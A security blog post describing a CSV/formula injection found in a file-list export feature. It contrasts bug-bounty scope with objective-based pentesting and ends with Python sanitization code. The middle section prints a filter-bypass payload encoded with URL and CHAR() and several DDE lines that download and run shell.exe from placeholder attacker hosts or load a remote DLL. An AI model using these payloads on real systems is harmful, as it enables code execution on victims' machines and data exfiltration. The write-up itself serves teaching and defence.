Unveiling the Sneaky CSV Injection: VDP vs. Objective-Based Offensive Tactics

AliBawazeEer
7 min readJun 1, 2024

--

Welcome to the world of cybersecurity hide-and-seek, where we’re on a mission to find and fix sneaky computer bugs. But not all bugs are treated the same — some are easy to find, while others are like hidden treasures waiting to be discovered.

Imagine you’re playing hide-and-seek in a big digital playground. You’re searching for a tricky bug called CSV injection, which can cause a lot of trouble if it’s not caught. But there are rules to this game, and some bugs are off-limits. They’re like the hiding spots that are too easy or too hard to find.

One of these rules says that if you find a CSV bug but can’t show exactly how it’s a problem, it doesn’t count. It’s like saying you found someone hiding, but you can’t prove they’re actually hiding. It seems a bit unfair, right? But there’s a smarter way to play this game. It’s called Objective-Based Offensive Penetration Testing. Instead of just looking for bugs, we focus on how they can cause trouble and how big that trouble might be. It’s like playing hide-and-seek with a plan — we know what we’re looking for and why. So, when we’re hunting down sneaky CSV bugs, we’re not just following the usual rules. We’re playing by a new set of rules that help us find and fix the really important bugs, keeping our digital playground safe for everyone.

No more tales — our primary offensive service strategy at NABD Solutions is Objective-Based Offensive Penetration Testing (OBOPT).

Comparison between VDP(Bug Bounty Program) & OBOPT

TL:DR

Although CSV injection vulnerabilities are typically not within the scope for reporting, it’s important to understand their implications. These vulnerabilities arise when user input isn’t properly sanitized in CSV files, posing risks like code execution and data manipulation.

During a recent security assessment, I came across a situation where user input was directly added to a CSV file without proper validation yes there was some restriction and managed to bypass it. This oversight could be exploited by attackers to tamper with the CSV data.

Even though this discovery falls outside the reporting scope, it highlights the need for better security practices. Understanding CSV injection helps organizations fortify their defenses against similar threats in the future, emphasizing the importance of thorough security testing and coding standards.

What is CSV (Comma-Separated Values) files are widely used for data storage and exchange due to their simplicity and compatibility with various applications. However, they can pose significant security risks if not handled properly. One such risk is CSV injection, a vulnerability that occurs when untrusted data is included in a CSV file and then executed as code by a program that opens it.

CSV injection is a security vulnerability that can occur when a user inputs data into a CSV file that is then opened by a program that executes the data as code.in my opinion CSV Excel Macro Injection is a sophisticated attack where an attacker leverages special characters and formulas in a CSV file to execute malicious code or actions when the file is opened in Excel or other spreadsheet software. This attack can be particularly effective when the attacker can inject payloads into fields that are later exported as CSV files, such as tags in a vulnerability report.

Vulnerability Details

Vulnerability Name:
CSV Injection/ Formula Injection leading to system code execution
Description:
CSV Injection (aka Excel Macro Injection or Formula Injection) exists in exportfilelist feature via get request that is mistreated while exporting to a CSV file.
Impact:
Arbitrary formulas can be injected into CSV files which can lead to remote code execution at the internal user side or data leakage via maliciously injected hyper-links.
Version Affected: 1.7
Payload Used: =WEBSERVICE(“https://dnscallbackserver.redacted.com")
Vulnerable URL: exportfilelistcsv?path=
Vulnerable Parameters: Click_Below
Steps to Reproduce:

  1. send two values in BurpSuite as normal request and capture request to send to repeater
  2. monitor the file downloaded
  3. send webservice

/attackerUser/&6\Click_Below\0=HYPERLINK(“C:\Windows\notepad.exe”)
=WEBSERVICE(“https://dnscallback.redacted.com")CSVinjection

4. request was filtered cause of special character

5. encode the request HTML / URL Encoding and CHAR Encoding

6. Final Payload

/attackerUser/&6\Click_Below\0=HYPERLINK("C:\Windows\notepad.exe")
=WEBSERVICE("https://dnscallback.redacted.com")CSVinjection

URL Encoding:

  • Encode special characters like &, \, =, :, ", etc.

CHAR Encoding:

  • Use the Excel CHAR function to convert characters to their ASCII values.

Step-by-Step Process:

  1. URL Encode the string:
/attackerUser/%266%5CClick_Below%5C0%3DHYPERLINK(%22C%3A%5CWindows%5Cnotepad.exe%22)%3DWEBSERVICE(%22https%3A%2F%2Fdnscallback.redacted.com%22)CSVinjection

For the string parts inside HYPERLINK and WEBSERVICE functions, we'll convert characters to their ASCII values using the CHAR function.

CHAR Encoded Parts:

  • HYPERLINK("C:\Windows\notepad.exe")
  • WEBSERVICE("https://dnscallback.redacted.com")

To create the final payload with URL encoding and CHAR encoding for the given string, we need to convert the characters into their respective ASCII values and encode them accordingly. Here’s the breakdown:

/attackerUser/%266%5CClick_Below%5C0%3DHYPERLINK(%22%22%26CHAR(67)%26CHAR(58)%26CHAR(92)%26CHAR(87)%26CHAR(105)%26CHAR(110)%26CHAR(100)%26CHAR(111)%26CHAR(119)%26CHAR(115)%26CHAR(92)%26CHAR(110)%26CHAR(111)%26CHAR(116)%26CHAR(101)%26CHAR(112)%26CHAR(97)%26CHAR(100)%26CHAR(46)%26CHAR(101)%26CHAR(120)%26CHAR(101)%22%22)%3DWEBSERVICE(%22%22%26CHAR(104)%26CHAR(116)%26CHAR(116)%26CHAR(112)%26CHAR(115)%26CHAR(58)%26CHAR(47)%26CHAR(47)%26CHAR(100)%26CHAR(110)%26CHAR(115)%26CHAR(99)%26CHAR(97)%26CHAR(108)%26CHAR(108)%26CHAR(98)%26CHAR(97)%26CHAR(99)%26CHAR(107)%26CHAR(46)%26CHAR(114)%26CHAR(101)%26CHAR(100)%26CHAR(97)%26CHAR(99)%26CHAR(116)%26CHAR(101)%26CHAR(100)%26CHAR(46)%26CHAR(99)%26CHAR(111)%26CHAR(109)%22%22)CSVinjection

Breakdown of the Payload

URL Components and Encoding

  • %26: Represents the & character, which is used to concatenate additional URL parameters.
  • \: Used for escaping characters.
  • %0a: Represents a newline character (\n), which starts a new line in the CSV.
  • %00: Represents a null character, which can be used to bypass some filters.
  • CHA%00R(...): Represents the CHAR function in Excel, used to generate characters from ASCII codes. The null character (%00) might be used to obfuscate and bypass filters.

Execution Flow

  1. User Interaction: The victim is tricked into clicking the provided URL, which initiates the CSV export.
  2. CSV File Download: The victim downloads the CSV file containing the malicious payloads.
  3. CSV File Opening: When the victim opens the CSV file in Excel:
  • The HYPERLINK function creates a clickable link that, when clicked, opens notepad.exe. this can be replaced with malicious intent
  • The WEBSERVICE function sends a request to a malicious server, potentially exfiltrating data.
=HYPERLINK("http://malicious-site.com", "Click Me")
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0


=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Mitigation Strategies Failed:

def sanitize_input(input_str):
return input_str.replace('=', '').replace('+', '').replace('-', '').replace('@', '')

To protect against CSV injection, consider the following measures:

  1. Sanitize Input Data: Ensure that no cell begins with the characters =, +, -, or @. One way to achieve this is by prefixing these characters with an apostrophe ('), which makes them appear as text in the spreadsheet.
def sanitize_csv_field(value):
if value and isinstance(value, str) and value[0] in ['=', '+', '-', '@']:
return "'" + value
return value

2. Input Validation: Implement strict input validation to allow only trusted characters. Regular expressions can be used to filter input:

import re

def validate_input(input_str):
if re.match("^[a-zA-Z0-9 ]*$", input_str):
return input_str
else:
raise ValueError("Invalid input detected")

3. Escape Dangerous Characters: During the export process, escape or remove dangerous characters from any user-supplied input.

import csv

def escape_dangerous_chars(data):
escaped_data = []
for row in data:
escaped_row = [sanitize_csv_field(cell) for cell in row]
escaped_data.append(escaped_row)
return escaped_data

def export_to_csv(data, filename):
escaped_data = escape_dangerous_chars(data)
with open(filename, 'w', newline='') as csvfile:
writer = csv.writer(csvfile)
writer.writerows(escaped_data)

One way to prevent CSV injection is to sanitize the user input before it is written to the CSV file. This can involve removing or escaping special characters that could be interpreted as commands. Another approach is to validate the user input to ensure that it does not contain any malicious code. It is also important to ensure that the client program that opens the CSV file does not execute any code contained in the file. This can be achieved by using a CSV parser that does not execute any code or by using a separate program to process the data contained in the CSV file.

Impacts and Risks:

The repercussions of a successful CSV Formula Injection can be severe.

  • Hijack Computers: Illustration of a hacker gaining control over a computer.
  • Exfiltrate Sensitive Data: Image of data being transferred surreptitiously.
  • Download Malware: Icon representing malware being downloaded onto a computer.
  • Privilege Escalation: Visual depiction of access levels being elevated.
  • Remote Code Execution: Representation of code being executed remotely.
  • Compromise of User Credentials: Icon showing login credentials being compromised.
  • Risks to Data Confidentiality, Integrity, and Availability: Graphical representation of data being threatened in terms of confidentiality, integrity, and availability.

In Conclusion

Imagine you’re baking a cake, and someone hands you a mysterious ingredient. You think it’s just a harmless spice, but when you add it to the mix, it causes your oven to explode! CSV injection is kind of like that, but with computers instead of cakes. CSV injection vulnerabilities may seem innocuous at first glance, akin to adding an unknown spice to a cake batter. However, just like the unexpected explosion in the oven, these vulnerabilities can wreak havoc on computer systems. By understanding the risks associated with CSV injection and implementing proper validation and encoding practices, organizations can prevent potential disasters and ensure the integrity of their data. So, the next time you’re dealing with CSV files, remember to handle them with care, just like you would with any mysterious ingredient in your kitchen.

  • Remediation for CSV injection vulnerabilities can be challenging, and many bug bounty programs explicitly prohibit this type of attack.
  • To mitigate the risk, developers can ensure that no cells in the CSV file begin with certain characters known to trigger formula execution in applications like Microsoft Excel, including “=”, “+”, “-”, and “@”.
  • Developers can prepend an apostrophe (‘) to the beginning of any cell containing these characters.
  • Adding an apostrophe signals to Excel that the cell does not contain a formula, preventing unintended execution.
  • Importantly, Excel does not display the apostrophe when the file is viewed, preserving the appearance of the data while safeguarding against CSV injection attacks.

Reference:

https://github.com/HackTricks-wiki/hacktricks/blob/master/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

--

--